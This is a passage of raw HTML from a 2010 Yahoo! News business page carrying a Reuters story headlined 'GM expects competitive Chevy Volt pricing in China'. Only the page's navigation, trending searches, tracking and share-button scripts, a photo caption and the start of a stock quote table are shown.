</span></div></form></div></div></div></div></div><script language=javascript>\nif(window.yzq_d==null)window.yzq_d=new Object();\nwindow.yzq_d['62FLBkoGYmQ-']='&U=13gnuteb9%2fN%3d62FLBkoGYmQ-%2fC%3d650008.13019228.13970208.12579242%2fD%3dHEAD%2fB%3d5877298%2fV%3d1';\n</script><noscript><img width=1 height=1 alt=\"\" src=\"http://us.bc.yahoo.com/b?P=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_&T=1av9t9o8q%2fX%3d1283295446%2fE%3d2023881070%2fR%3dnews%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3dYAHOO%2fF%3d1623204105%2fH%3dY2FjaGVoaW50PSJuZXdzIiBjb250ZW50PSJpdDsgYnVzaW5lc3M7IHByaWNlOyB5dWFuOyBnb3Zlcm5tZW50OyBZdWFuOyIgc2VydmVJZD0iUEVOS1QyS0lLanowVTVCaS5Fb29tQUJzcFVWYUNFeDlpTllBQnR4XyIgc2l0ZUlkPSI0NDY0MDUxIiB0U3RtcD0iMTI4MzI5NTQ0NjUzNjAxMSIg%2fQ%3d-1%2fS%3d1%2fJ%3dF42A8862&U=13gnuteb9%2fN%3d62FLBkoGYmQ-%2fC%3d650008.13019228.13970208.12579242%2fD%3dHEAD%2fB%3d5877298%2fV%3d1\"></noscript>    </div>\n</div>\n\n        \n            <div id=\"navigation\" role=\"navigation\">\n    <ul id=\"navigation-primary\" class=\"ult-section primary\">\n                <li class=\"ult-position\">\n            <a href=\"/;_ylt=A2KIKvTWiH1Ml3sBwgJu.aF4;_ylu=X3oDMTEwaDNvdGVmBHBvcwMxBHNlYwN5bl9uYXZpZ2F0aW9uBHNsawNob21l\" class=\"first\">Home</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/us;_ylt=A2KIKvTWiH1Ml3sBwwJu.aF4;_ylu=X3oDMTB1cTBsbzdlBHBvcwMyBHNlYwN5bl9uYXZpZ2F0aW9uBHNsawN1cw--\" >U.S.</a>\n        </li>\n                <li class=\"ult-position active\">\n            <a href=\"/business;_ylt=A2KIKvTWiH1Ml3sBxAJu.aF4;_ylu=X3oDMTE0aHN1Y2w3BHBvcwMzBHNlYwN5bl9uYXZpZ2F0aW9uBHNsawNidXNpbmVzcw--\" >Business</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/world;_ylt=A2KIKvTWiH1Ml3sBxQJu.aF4;_ylu=X3oDMTExMGFrbGUxBHBvcwM0BHNlYwN5bl9uYXZpZ2F0aW9uBHNsawN3b3JsZA--\" >World</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/entertainment;_ylt=A2KIKvTWiH1Ml3sBxgJu.aF4;_ylu=X3oDMTE4dXQ3bGxrBHBvcwM1BHNlYwN5bl9uYXZpZ2F0aW9uBHNsawNlbnRlcnRhaW5tZW4-\" >Entertainment</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/sports;_ylt=A2KIKvTWiH1Ml3sBxwJu.aF4;_ylu=X3oDMTEyNGE3Ym4yBHBvcwM2BHNlYwN5bl9uYXZpZ2F0aW9uBHNsawNzcG9ydHM-\" >Sports</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/technology;_ylt=A2KIKvTWiH1Ml3sByAJu.aF4;_ylu=X3oDMTEwMzU2dXNxBHBvcwM3BHNlYwN5bl9uYXZpZ2F0aW9uBHNsawN0ZWNo\" >Tech</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/politics;_ylt=A2KIKvTWiH1Ml3sByQJu.aF4;_ylu=X3oDMTE0aXM0ZGJiBHBvcwM4BHNlYwN5bl9uYXZpZ2F0aW9uBHNsawNwb2xpdGljcw--\" >Politics</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/science;_ylt=A2KIKvTWiH1Ml3sBygJu.aF4;_ylu=X3oDMTEzb2N0YW5yBHBvcwM5BHNlYwN5bl9uYXZpZ2F0aW9uBHNsawNzY2llbmNl\" >Science</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/health;_ylt=A2KIKvTWiH1Ml3sBywJu.aF4;_ylu=X3oDMTEzZjg3dnFmBHBvcwMxMARzZWMDeW5fbmF2aWdhdGlvbgRzbGsDaGVhbHRo\" >Health</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/opinion;_ylt=A2KIKvTWiH1Ml3sBzAJu.aF4;_ylu=X3oDMTE0dmhlYmJoBHBvcwMxMQRzZWMDeW5fbmF2aWdhdGlvbgRzbGsDb3Bpbmlvbg--\" >Opinion</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/most-popular;_ylt=A2KIKvTWiH1Ml3sBzQJu.aF4;_ylu=X3oDMTE4MWJkMmc0BHBvcwMxMgRzZWMDeW5fbmF2aWdhdGlvbgRzbGsDbW9zdHBvcHVsYXI-\" >Most Popular</a>\n        </li>\n            </ul><!-- end: .primary -->\n\n        <ul id=\"navigation-secondary\" class=\"ult-section secondary\">\n                <li class=\"ult-position\">\n            <a href=\"/video/business;_ylt=A2KIKvTWiH1Ml3sBzgJu.aF4;_ylu=X3oDMTE5NnR1ZmJtBHBvcwMxMwRzZWMDeW5fbmF2aWdhdGlvbgRzbGsDYnVzaW5lc3N2aWRl\" class=\"first\">Business Video</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/business/us-economy;_ylt=A2KIKvTWiH1Ml3sBzwJu.aF4;_ylu=X3oDMTE2ZWRqZGV1BHBvcwMxNARzZWMDeW5fbmF2aWdhdGlvbgRzbGsDdXNlY29ub215\" >U.S. Economy</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/business/stock-markets;_ylt=A2KIKvTWiH1Ml3sB0AJu.aF4;_ylu=X3oDMTE5djRtNDlsBHBvcwMxNQRzZWMDeW5fbmF2aWdhdGlvbgRzbGsDc3RvY2ttYXJrZXRz\" >Stock Markets</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/business/earnings;_ylt=A2KIKvTWiH1Ml3sB0QJu.aF4;_ylu=X3oDMTE1NGo5YWNuBHBvcwMxNgRzZWMDeW5fbmF2aWdhdGlvbgRzbGsDZWFybmluZ3M-\" >Earnings</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/business/opinion;_ylt=A2KIKvTWiH1Ml3sB0gJu.aF4;_ylu=X3oDMTE0NTVoZXBsBHBvcwMxNwRzZWMDeW5fbmF2aWdhdGlvbgRzbGsDb3Bpbmlvbg--\" >Opinion</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/business/personal-finance;_ylt=A2KIKvTWiH1Ml3sB0wJu.aF4;_ylu=X3oDMTE5a2xyZjMyBHBvcwMxOARzZWMDeW5fbmF2aWdhdGlvbgRzbGsDcGVyc29uYWxmaW5h\" >Personal Finance</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/business/press-releases;_ylt=A2KIKvTWiH1Ml3sB1AJu.aF4;_ylu=X3oDMTE5MDBuYTNrBHBvcwMxOQRzZWMDeW5fbmF2aWdhdGlvbgRzbGsDcHJlc3NyZWxlYXNl\" >Press Releases</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/business/taxes;_ylt=A2KIKvTWiH1Ml3sB1QJu.aF4;_ylu=X3oDMTEybnZnZjA1BHBvcwMyMARzZWMDeW5fbmF2aWdhdGlvbgRzbGsDdGF4ZXM-\" >Taxes</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"http://us.lrd.yahoo.com/SIG=11706rlnl;_ylt=A2KIKvTWiH1Ml3sB1gJu.aF4;_ylu=X3oDMTE4ZzZ1cjZ0BHBvcwMyMQRzZWMDeW5fbmF2aWdhdGlvbgRzbGsDbWFya2V0cGxhY2U-/**http%3A//marketplace.news.yahoo.net/\" >Marketplace</a>\n        </li>\n                <li class=\"ult-position\">\n            <a href=\"/io/3729;_ylt=A2KIKvTWiH1Ml3sB1wJu.aF4;_ylu=X3oDMTE3dDA4cnVnBHBvcwMyMgRzZWMDeW5fbmF2aWdhdGlvbgRzbGsDbmV3c21ha2Vycw--\" >Newsmakers</a>\n        </li>\n            </ul><!-- end: .secondary -->\n    </div><!-- end: #navigation -->\n\n            \n            <div id=\"yn-popular-searches\" class=\"mod\">\n    <form action=\"http://news.search.yahoo.com/news/search\" method=\"get\" role=\"search\">\n        <input type=\"hidden\" name=\"ei\" value=\"UTF-8\"/>\n        <input type=\"hidden\" name=\"fr\" value=\"news-us-ss\"/>\n        <ul>\n            <li class=\"search-type yn-menu\">\n                <a href=\"#\" class=\"menu-trigger\">search menu</a>\n                <div class=\"menu-bd\">\n                    <fieldset class=\"menu-content\">\n                        <legend>Search Type</legend>\n                        \n                        <span>Choose a search type from the items below</span>\n\n                        <input type=\"radio\" name=\"c\" value=\"\" id=\"search_all\" checked=\"checked\">                        \n                        <label for=\"search_all\" class=\"first\">All News</label>\n\n                        <input type=\"radio\" name=\"c\" value=\"yahoo_news\" id=\"search_ynews\">                        \n                        <label for=\"search_ynews\">Yahoo! News Only</label>\n\n                        <input type=\"radio\" name=\"c\" value=\"images\" id=\"search_images\">                        \n                        <label for=\"search_images\">News Photos</label>\n\n                        <input type=\"radio\" name=\"c\" value=\"av\" id=\"search_av\">                        \n                        <label for=\"search_av\">Video/Audio</label>\n                    </fieldset>\n                </div>\n            </li>\n            <li class=\"search-text\"><input id=\"yn-search-assist\" type=\"text\" name=\"p\" value=\"\"></li>\n            <li class=\"search-submit\"><button type=\"submit\">News Search</button></li>\n        </ul>\n    </form>\n    <h3>Trending Now:</h3>\n    <div class=\"popular-searches\">\n        <ul>\n                        <li class=\"first\">\n                <a href=\"http://us.lrd.yahoo.com/SIG=12m995i7j;_ylt=A2KIKvTWiH1Ml3sB7AJu.aF4;_ylu=X3oDMTFhcWUzb2VxBHBvcwMxBHNlYwN5bl9wb3B1bGFyX3NlYXJjaGVzBHNsawNsYWJhcmJpZQ--/**http%3A//news.search.yahoo.com/news/search%3Fp=la%2Bbarbie%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">la barbie</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=138271j08;_ylt=A2KIKvTWiH1Ml3sB7QJu.aF4;_ylu=X3oDMTFlZHJ2cWY2BHBvcwMyBHNlYwN5bl9wb3B1bGFyX3NlYXJjaGVzBHNsawNuYXRpb25hbGh1cnI-/**http%3A//news.search.yahoo.com/news/search%3Fp=national%2Bhurricane%2Bcenter%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">national hurricane center</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=12ro02656;_ylt=A2KIKvTWiH1Ml3sB7gJu.aF4;_ylu=X3oDMTFlaXJ0anJjBHBvcwMzBHNlYwN5bl9wb3B1bGFyX3NlYXJjaGVzBHNsawNodXJyaWNhbmVlYXI-/**http%3A//news.search.yahoo.com/news/search%3Fp=hurricane%2Bearl%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">hurricane earl</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=137lfq354;_ylt=A2KIKvTWiH1Ml3sB7wJu.aF4;_ylu=X3oDMTFlb2RrdWhlBHBvcwM0BHNlYwN5bl9wb3B1bGFyX3NlYXJjaGVzBHNsawNkYW5jaW5nd2l0aHQ-/**http%3A//news.search.yahoo.com/news/search%3Fp=dancing%2Bwith%2Bthe%2Bstars%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">dancing with the stars</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=12o8cksd5;_ylt=A2KIKvTWiH1Ml3sB8AJu.aF4;_ylu=X3oDMTFjdTE3OTN0BHBvcwM1BHNlYwN5bl9wb3B1bGFyX3NlYXJjaGVzBHNsawNqb2huY3VzYWNr/**http%3A//news.search.yahoo.com/news/search%3Fp=john%2Bcusack%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">john cusack</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=12nh7d92u;_ylt=A2KIKvTWiH1Ml3sB8QJu.aF4;_ylu=X3oDMTFiazA4Y25hBHBvcwM2BHNlYwN5bl9wb3B1bGFyX3NlYXJjaGVzBHNsawNnbGVubmJlY2s-/**http%3A//news.search.yahoo.com/news/search%3Fp=glenn%2Bbeck%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">glenn beck</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=12qhuj6ln;_ylt=A2KIKvTWiH1Ml3sB8gJu.aF4;_ylu=X3oDMTFlbnI1bTczBHBvcwM3BHNlYwN5bl9wb3B1bGFyX3NlYXJjaGVzBHNsawN0cm95cG9sYW1hbHU-/**http%3A//news.search.yahoo.com/news/search%3Fp=troy%2Bpolamalu%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">troy polamalu</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=12quq8bhi;_ylt=A2KIKvTWiH1Ml3sB8wJu.aF4;_ylu=X3oDMTFlM2FvZTFoBHBvcwM4BHNlYwN5bl9wb3B1bGFyX3NlYXJjaGVzBHNsawNsaW5kc2F5bG9oYW4-/**http%3A//news.search.yahoo.com/news/search%3Fp=lindsay%2Blohan%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">lindsay lohan</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=12fakqcsr;_ylt=A2KIKvTWiH1Ml3sB9AJu.aF4;_ylu=X3oDMTE2Z2xpbnIxBHBvcwM5BHNlYwN5bl9wb3B1bGFyX3NlYXJjaGVzBHNsawNpcmFu/**http%3A//news.search.yahoo.com/news/search%3Fp=iran%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">iran</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=133b05m4d;_ylt=A2KIKvTWiH1Ml3sB9QJu.aF4;_ylu=X3oDMTFmNmNobjZvBHBvcwMxMARzZWMDeW5fcG9wdWxhcl9zZWFyY2hlcwRzbGsDdHJvcGljYWxzdG9y/**http%3A//news.search.yahoo.com/news/search%3Fp=tropical%2Bstorm%2Bfiona%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">tropical storm fiona</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=137ea347r;_ylt=A2KIKvTWiH1Ml3sB9gJu.aF4;_ylu=X3oDMTFmMjQ1aGx1BHBvcwMxMQRzZWMDeW5fcG9wdWxhcl9zZWFyY2hlcwRzbGsDbmF0aW9uYWx3ZWF0/**http%3A//news.search.yahoo.com/news/search%3Fp=national%2Bweather%2Bservice%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">national weather service</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=12r60of62;_ylt=A2KIKvTWiH1Ml3sB9wJu.aF4;_ylu=X3oDMTFmNjhkZGZuBHBvcwMxMgRzZWMDeW5fcG9wdWxhcl9zZWFyY2hlcwRzbGsDc2FuZHJhYnVsbG9j/**http%3A//news.search.yahoo.com/news/search%3Fp=sandra%2Bbullock%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">sandra bullock</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=12j69jn9p;_ylt=A2KIKvTWiH1Ml3sB.AJu.aF4;_ylu=X3oDMTFiZzhpbzJhBHBvcwMxMwRzZWMDeW5fcG9wdWxhcl9zZWFyY2hlcwRzbGsDZGlhYmV0ZXM-/**http%3A//news.search.yahoo.com/news/search%3Fp=diabetes%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">diabetes</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=12s7e2era;_ylt=A2KIKvTWiH1Ml3sB.QJu.aF4;_ylu=X3oDMTFmYWxpODViBHBvcwMxNARzZWMDeW5fcG9wdWxhcl9zZWFyY2hlcwRzbGsDbWljaGFlbGphY2tz/**http%3A//news.search.yahoo.com/news/search%3Fp=michael%2Bjackson%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">michael jackson</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=13266q95c;_ylt=A2KIKvTWiH1Ml3sB.gJu.aF4;_ylu=X3oDMTFmZmZxczB2BHBvcwMxNQRzZWMDeW5fcG9wdWxhcl9zZWFyY2hlcwRzbGsDdGhld2VhdGhlcmNo/**http%3A//news.search.yahoo.com/news/search%3Fp=the%2Bweather%2Bchannel%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">the weather channel</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=12oq5hogt;_ylt=A2KIKvTWiH1Ml3sB.wJu.aF4;_ylu=X3oDMTFkZHZqYm9pBHBvcwMxNgRzZWMDeW5fcG9wdWxhcl9zZWFyY2hlcwRzbGsDZW1teWF3YXJkcw--/**http%3A//news.search.yahoo.com/news/search%3Fp=emmy%2Bawards%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">emmy awards</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=12gcjs4uq;_ylt=A2KIKvTWiH1Ml3sB_AJu.aF4;_ylu=X3oDMTE4ZjAzbzh0BHBvcwMxNwRzZWMDeW5fcG9wdWxhcl9zZWFyY2hlcwRzbGsDY2hpbmE-/**http%3A//news.search.yahoo.com/news/search%3Fp=china%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">china</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=12sb3bbpb;_ylt=A2KIKvTWiH1Ml3sB_QJu.aF4;_ylu=X3oDMTFmcjJsamFnBHBvcwMxOARzZWMDeW5fcG9wdWxhcl9zZWFyY2hlcwRzbGsDa3Jpc3RlbnN0ZXdh/**http%3A//news.search.yahoo.com/news/search%3Fp=kristen%2Bstewart%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">kristen stewart</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=12tt768tl;_ylt=A2KIKvTWiH1Ml3sB_gJu.aF4;_ylu=X3oDMTFmaDdsazhnBHBvcwMxOQRzZWMDeW5fcG9wdWxhcl9zZWFyY2hlcwRzbGsDcm9iZXJ0cGF0dGlu/**http%3A//news.search.yahoo.com/news/search%3Fp=robert%2Bpattinson%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">robert pattinson</a>\n            </li>\n                        <li>\n                <a href=\"http://us.lrd.yahoo.com/SIG=12v63l9vo;_ylt=A2KIKvTWiH1Ml3sB_wJu.aF4;_ylu=X3oDMTFmdTZyaDZiBHBvcwMyMARzZWMDeW5fcG9wdWxhcl9zZWFyY2hlcwRzbGsDZ2xlbm5iZWNrcmFs/**http%3A//news.search.yahoo.com/news/search%3Fp=glenn%2Bbeck%2Brally%26fr=news-us-tts%26cs=bz\" tabindex=\"-1\">glenn beck rally</a>\n            </li>\n                    </ul>\n    </div>\n</div>\n\n            \n            <!-- SpaceID=2023881070 loc=NT1 noad -->\n<script language=javascript>\nif(window.yzq_d==null)window.yzq_d=new Object();\nwindow.yzq_d['_mFLBkoGYmQ-']='&U=12bltukco%2fN%3d_mFLBkoGYmQ-%2fC%3d-1%2fD%3dNT1%2fB%3d-1%2fV%3d0';\n</script><noscript><img width=1 height=1 alt=\"\" src=\"http://us.bc.yahoo.com/b?P=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_&T=1ave911lr%2fX%3d1283295446%2fE%3d2023881070%2fR%3dnews%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3dYAHOO%2fF%3d2814510456%2fH%3dY2FjaGVoaW50PSJuZXdzIiBjb250ZW50PSJpdDsgYnVzaW5lc3M7IHByaWNlOyB5dWFuOyBnb3Zlcm5tZW50OyBZdWFuOyIgc2VydmVJZD0iUEVOS1QyS0lLanowVTVCaS5Fb29tQUJzcFVWYUNFeDlpTllBQnR4XyIgc2l0ZUlkPSI0NDY0MDUxIiB0U3RtcD0iMTI4MzI5NTQ0NjUzNjAxMSIg%2fQ%3d-1%2fS%3d1%2fJ%3dF42A8862&U=12bltukco%2fN%3d_mFLBkoGYmQ-%2fC%3d-1%2fD%3dNT1%2fB%3d-1%2fV%3d0\"></noscript>\n\n            \n\n        </div>\n        \n        <div id=\"bd\">\n                \n            <div id=\"yui-main\">\n        \n                <div class=\"yui-b\" role=\"main\" aria-labelledby=\"yn-title\">\n     \n                    \n<div class=\"promobar mod promobar-top_bar\">\n\n    <div class=\"normal blue\">\n        <div class=\"bd\">\n            <a href=\"http://news.yahoo.com/s/ynews/ynews_ts3464;_ylt=A2KIKvTWiH1Ml3sBAANu.aF4;_ylu=X3oDMTE1cDJvbGFlBHBvcwMxBHNlYwN5bl9wcm9tb3NfdG9wX2JhcgRzbGsDaW1hZ2U-\" class=\"media\"><img src=\"http://l.yimg.com/a/p/us/news/editorial/2/ed/2ed2bc5cd613c950b9d43c6da65ab7b2.jpeg\" width=\"120\" height=\"39\" alt=\"\"></a>\n            <h4><a href=\"http://news.yahoo.com/s/ynews/ynews_ts3464;_ylt=A2KIKvTWiH1Ml3sBAQNu.aF4;_ylu=X3oDMTFjbDZhZTBwBHBvcwMyBHNlYwN5bl9wcm9tb3NfdG9wX2JhcgRzbGsDNXllYXJzYWZ0ZXJr\" ><strong>5 YEARS AFTER KATRINA:</strong>Special report includes slideshows and multimedia</a></h4>\n            <a href=\"http://news.yahoo.com/s/ynews/ynews_ts3464;_ylt=A2KIKvTWiH1Ml3sBAgNu.aF4;_ylu=X3oDMTEwM2htOGVvBHBvcwMzBHNlYwN5bl9wcm9tb3NfdG9wX2JhcgRzbGsD\" ></a>\n        </div><!-- end bd -->\n    </div>    \n        \n</div>\n\n<div id=\"yn-story\" class=\"ult-section mod  normal-entry\">\n\n    <div class=\"hd\">\n    \n        \n        \n            <h1 id=\"yn-title\">GM expects competitive Chevy Volt pricing in China</h1>\n            <a href=\"http://us.rd.yahoo.com/dailynews/reuters/brand/SIG=pd7i95;_ylt=A2KIKvTWiH1Ml3sBAwNu.aF4;_ylu=X3oDMTExaTJpa3NyBHBvcwMxBHNlYwN5bi1wcnZkbGluawRzbGsDcmV1dGVycw--/*http://www.reuters.com\" id=\"yn-prvdlink\" class=\"provider-logo ult-section\">\n            <img src=\"http://l.yimg.com/a/i/us/nws/2008/news/us/assets/common/images/transparent.png\" width=\"106\" height=\"27\" alt=\"Reuters\" class=\"lzbg\" style=\"background-image: url(http://l.yimg.com/a/p/us/news/editorial/d/0c/d0c3eb8ca18907492a4b337b5cec5193.jpeg);\">        </a>\n        \n        \n            \n    <div id=\"yup-container\"></div>\n    <script type=\"text/javascript\">\n        \n        if(!YAHOO){var YAHOO = {};}\n        \n         YAHOO.BuzzWidgetTries = 0;\n        \n        (function(){\n            if(YAHOO && YAHOO.util && YAHOO.util.Event && YAHOO.Media && YAHOO.Media.Buzz){\n           (function(){ var buzz = new YAHOO.Media.Buzz(\"buzz-top\",{\"sync\":\"buzz-bottom\",\"countPosition\":\"after\",\"fetchCount\":false,\"loc_strings\":{\"buzz_up\":\"Buzz up!\",\"buzzed\":\"Buzzed!\",\"one_vote\":\"{0} vote\",\"n_votes\":\"{0} votes\"}});buzz.onSuccess.subscribe(function(){ if(YAHOO.Updates){ YAHOO.Updates.Disclosure.showDialog({\"container\":\"yup-container\",\"source\":\"buzz\",\"type\":\"buzzUp\",\"lang\":\"en-US\"}); } }); })();(function(){ var buzz = new YAHOO.Media.Buzz(\"buzz-bottom\",{\"sync\":\"buzz-top\",\"countPosition\":\"after\",\"fetchCount\":true,\"loc_strings\":{\"buzz_up\":\"Buzz up!\",\"buzzed\":\"Buzzed!\",\"one_vote\":\"{0} vote\",\"n_votes\":\"{0} votes\"}});buzz.onSuccess.subscribe(function(){ if(YAHOO.Updates){ YAHOO.Updates.Disclosure.showDialog({\"container\":\"yup-container\",\"source\":\"buzz\",\"type\":\"buzzUp\",\"lang\":\"en-US\"}); } }); })();    \n            } else if(YAHOO.BuzzWidgetTries < 10000) {\n                YAHOO.BuzzWidgetTries += 500;\n                setTimeout(arguments.callee, 500);\n            }\n        })();   \n    \n    </script>\n\n\n    <script type='text/javascript'>\n    if (typeof YAHOO == \"undefined\") { YAHOO = {}; }\n    if (typeof YAHOO.Media == \"undefined\") { YAHOO.Media = {}; }\n    if (typeof YAHOO.Media.SocialButtons == \"undefined\") { YAHOO.Media.SocialButtons = {}; }\n    var o_facebook_iframe_url=\"http://l.yimg.com/b/social_buttons/facebook-share-iframe.php?u={url}&t={title}\";\n    YAHOO.Media.SocialButtons.conf = {\n        content: {\n            url: \"http:\\/\\/news.yahoo.com\\/s\\/nm\\/20100831\\/bs_nm\\/us_gm_china\",\n            title: \"GM+expects+competitive+Chevy+Volt+pricing+in+China+-+Yahoo%21+News\",\n            mail_locale: \"us\",\n            mail_property: \"news\",\n            mail_meta: \"&h1=nm/20100831/bs_nm/us_gm_china&h2=T&h3=568\",\n            print_url_template: \"{url}/print\"\n        },\n        config: { facebook_iframe_url: o_facebook_iframe_url }\n    }\n    </script>\n    <ul id=\"top\" class=\"tools mod ult-section\">\n            <li class=\"buzz ult-position\">\n    \n                    \n        <form method=\"post\" action=\"http://buzz.yahoo.com/vote/\" class=\"buzz\" id=\"buzz-top\">\n            <input type=\"hidden\" name=\"publisherurn\" value=\"y_news\">\n            <input type=\"hidden\" name=\"guid\" value=\"nm/20100831/us_gm_china\">\n            <input type=\"hidden\" name=\".done\" value=\"/article/y_news/nm/20100831/us_gm_china\">\n            <input type=\"hidden\" name=\"assettype\" value=\"article\">\n            <input type=\"hidden\" name=\"votetype\" value=\"1\">\n            <input type=\"hidden\" name=\"from\" value=\"orion\">\n            <input type=\"hidden\" name=\"redirect\" value=\"1\">\n            <input type=\"hidden\" name=\"key\" value=\"b1713\">\n            <input type=\"hidden\" name=\".crumb\" value=\"OqSudfuYUf0\">\n            <input type=\"hidden\" name=\"logged\" value=\"0\">\n            <input type=\"hidden\" name=\"language\" value=\"en-US\">\n            <input type=\"hidden\" name=\"market\" value=\"us\">\n            <button type=\"submit\">Buzz up!<span class=\"right\"></span></button>\n        </form>\n        \n                    </li>\n            <li>\n              <div class=\"ymsb ymsb-facebook ymsb-retweet ymsb-mail ymsb-print\"></div>\n            </li>\n                                </ul>\n        <!-- end: .tools -->\n\n    \n\n        \n        \n        \n    </div><!-- end: .hd -->\n    \n    <div class=\"bd\">\n        \n            <div id=\"yn-story-related-media\">\n        \n                <div class=\"primary-media\">\n        \n            <div id=\"yn-story-main-media\" class=\"ult-section yn-style1\">\n        <div class=\"photo-big\">\n        <a href=\"/nphotos/Dan-Akerson-poses-portrait-General-Motors-headquarters-Detroit-Michigan-August/photo//100831/ids_photos_wl/r3693855494.jpg//s:/nm/20100831/bs_nm/us_gm_china;_ylt=A2KIKvTWiH1Ml3sBBANu.aF4;_ylu=X3oDMTE5OWNjZzkzBHBvcwMxBHNlYwN5bl9yX3RvcF9waG90bwRzbGsDZGFuYWtlcnNvbnBv\" class=\"media \">\n            <img src=\"http://d.yimg.com/a/p/rids/20100831/i/r3693855494.jpg?x=213&y=266&xc=1&yc=1&wc=360&hc=450&q=85&sig=RlxfV1lru0l6HybRpN1wbg--\" width=\"213\" height=\"266\" alt=\"Dan Akerson poses for a portrait at General Motors headquarters in Detroit\">\n            \n                    </a>\n        \n        <cite class=\"caption\">\n        Reuters&nbsp;&ndash;&nbsp;Dan Akerson poses for a portrait at General Motors headquarters in Detroit, Michigan, August 31, 2010.&nbsp;&hellip;        </cite>\n    </div>\n    \n        \n</div><!-- end #main-media -->                \n            \n            \n        <div id=\"yn-story-minor-media\">\n    \n        <ul id=\"yn-story-related-links\" class=\"list2 list6 size1 ult-section yn-style3\">\n        <li class=\"ult-position first slideshow\">\n                <a href=\"/nphotos/General-Motors-Corp/ss/events/bs/031605gmgeneralmotor;_ylt=A2KIKvTWiH1Ml3sBBQNu.aF4;_ylu=X3oDMTFmNWF1ZmcwBHBvcwMyBHNlYwN5bl9yXzNzbG90X3NsaWRlc2hvdwRzbGsDc2xpLWV2LXRodW1i\" class=\"media media1\">\n            <img src=\"http://d.yimg.com/a/p/rids/20100831/t/r3693855494.jpg?x=50&y=50&xc=1&yc=1&wc=103&hc=103&q=85&sig=IH1VnATi.fuhp1hdxoC1ow--\" width=\"50\" height=\"50\" alt=\"General Motors Corp.\">\n            \n                    </a>\n                \n        <a href=\"/nphotos/General-Motors-Corp/ss/events/bs/031605gmgeneralmotor;_ylt=A2KIKvTWiH1Ml3sBBgNu.aF4;_ylu=X3oDMTFlcWFuNHZ0BHBvcwMzBHNlYwN5bl9yXzNzbG90X3NsaWRlc2hvdwRzbGsDc2xpLWV2LWxpbms-\" ><strong>Slideshow:</strong>General Motors Corp.</a>\n            </li>\n    </ul>\n        \n        <div id=\"yn-story-quotes\" class=\"ult-section\">\n    <table cellspacing=\"0\">\n        <caption>Related Quotes</caption>\n        <thead>\n            <tr>\n                <th>Symbol</th>\n                <th>Price</th>\n                <th>Change</th>\n            </tr>\n        </thead>\n        <tbody>\n                        <tr class=\"ult-position alternative\">\n                <td class=\"first\">\n                    <a href=\"http://finance.yahoo.com/q;_ylt=A2KIKvTWiH1Ml3sBBwNu.aF4;_ylu=X3oDMTEyZ3M0M3FjBHBvcwM0BHNlYwN5bl9yXzNzbG90X3N0b2NrBHNsawNkamk-?s=^DJI\" >\n                        <abbr title=\"Dow Jones Industrial Average\">^DJI</abbr>\n                    </a>\n                </td>\n                <td>10,014.72</td>\n                <td class=\"positive\">+4.99</td>\n 